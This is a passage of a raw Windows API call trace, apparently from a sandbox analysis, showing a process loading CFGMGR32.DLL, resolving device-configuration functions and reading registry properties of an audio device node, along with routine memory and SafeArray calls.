(hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.489] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0224.489] CM_Get_Device_IDA (in: dnDevInst=0x24, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\MMDEVAPI\\{0.0.1.00000000}.{A057BBB1-BD0A-493A-99E1-CA6410C7F4E2}") returned 0x0 [0224.489] malloc (_Size=0x48) returned 0x196ef0fb540 [0224.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x66aa257f, dwHighDateTime=0x1d9eb0c)) [0224.490] SetEvent (hEvent=0x248) returned 1 [0224.493] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.493] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.496] malloc (_Size=0x18) returned 0x196ef0d1b40 [0224.496] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0224.496] malloc (_Size=0x32) returned 0x196ef0d12d0 [0224.497] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d12d0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d12d0, pulLength=0x67117d608) returned 0x0 [0224.497] free (_Block=0x196ef0d12d0) [0224.497] malloc (_Size=0x48) returned 0x196ef0fb310 [0224.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x66aa257f, dwHighDateTime=0x1d9eb0c)) [0224.497] SetEvent (hEvent=0x248) returned 1 [0224.500] malloc (_Size=0x18) returned 0x196ef0d1b60 [0224.500] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0224.500] free (_Block=0x196ef0d1b60) [0224.500] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8563e0 [0224.500] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0224.500] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0224.500] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0224.500] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa920 [0224.500] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0224.500] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0224.500] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0224.501] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0224.501] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225ea0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.502] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa920) returned 1 [0224.502] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8563e0) returned 1 [0224.502] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.502] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.506] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0224.506] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0224.506] malloc (_Size=0x62) returned 0x196ef0d0530 [0224.507] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0530, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0530, pulLength=0x67117d608) returned 0x0 [0224.507] free (_Block=0x196ef0d0530) [0224.507] malloc (_Size=0x48) returned 0x196ef0fba40 [0224.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x66ac8690, dwHighDateTime=0x1d9eb0c)) [0224.507] SetEvent (hEvent=0x248) returned 1 [0224.575] malloc (_Size=0x18) returned 0x196ef0d1e20 [0224.575] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0224.575] free (_Block=0x196ef0d1e20) [0224.575] malloc (_Size=0x18) returned 0x196ef0d1d00 [0224.575] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0224.575] free (_Block=0x196ef0d1d00) [0224.575] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0224.575] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0224.575] free (_Block=0x196ef0d1ca0) [0224.575] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee854fe0 [0224.576] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0224.576] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0224.576] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0224.576] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0224.576] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0224.576] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0224.576] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0224.576] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0224.576] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e8b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.577] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e8b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.577] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e8c0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.578] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0224.578] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee854fe0) returned 1 [0224.579] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.579] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.582] malloc (_Size=0x18) returned 0x196ef0d1b00 [0224.583] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.586] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0224.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66b870ff, dwHighDateTime=0x1d9eb0c)) [0224.586] SetEvent (hEvent=0x248) returned 1 [0224.590] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.590] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.593] malloc (_Size=0x18) returned 0x196ef0d1a80 [0224.593] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.593] malloc (_Size=0x48) returned 0x196ef0fc0d0 [0224.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66b870ff, dwHighDateTime=0x1d9eb0c)) [0224.594] SetEvent (hEvent=0x248) returned 1 [0224.597] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.597] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.601] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0224.601] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.602] malloc (_Size=0x48) returned 0x196ef0fb900 [0224.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66bad318, dwHighDateTime=0x1d9eb0c)) [0224.602] SetEvent (hEvent=0x248) returned 1 [0224.605] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.605] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.609] malloc (_Size=0x18) returned 0x196ef0d1da0 [0224.609] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0224.610] malloc (_Size=0x48) returned 0x196ef0fbb80 [0224.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66bad318, dwHighDateTime=0x1d9eb0c)) [0224.611] SetEvent (hEvent=0x248) returned 1 [0224.616] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.616] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 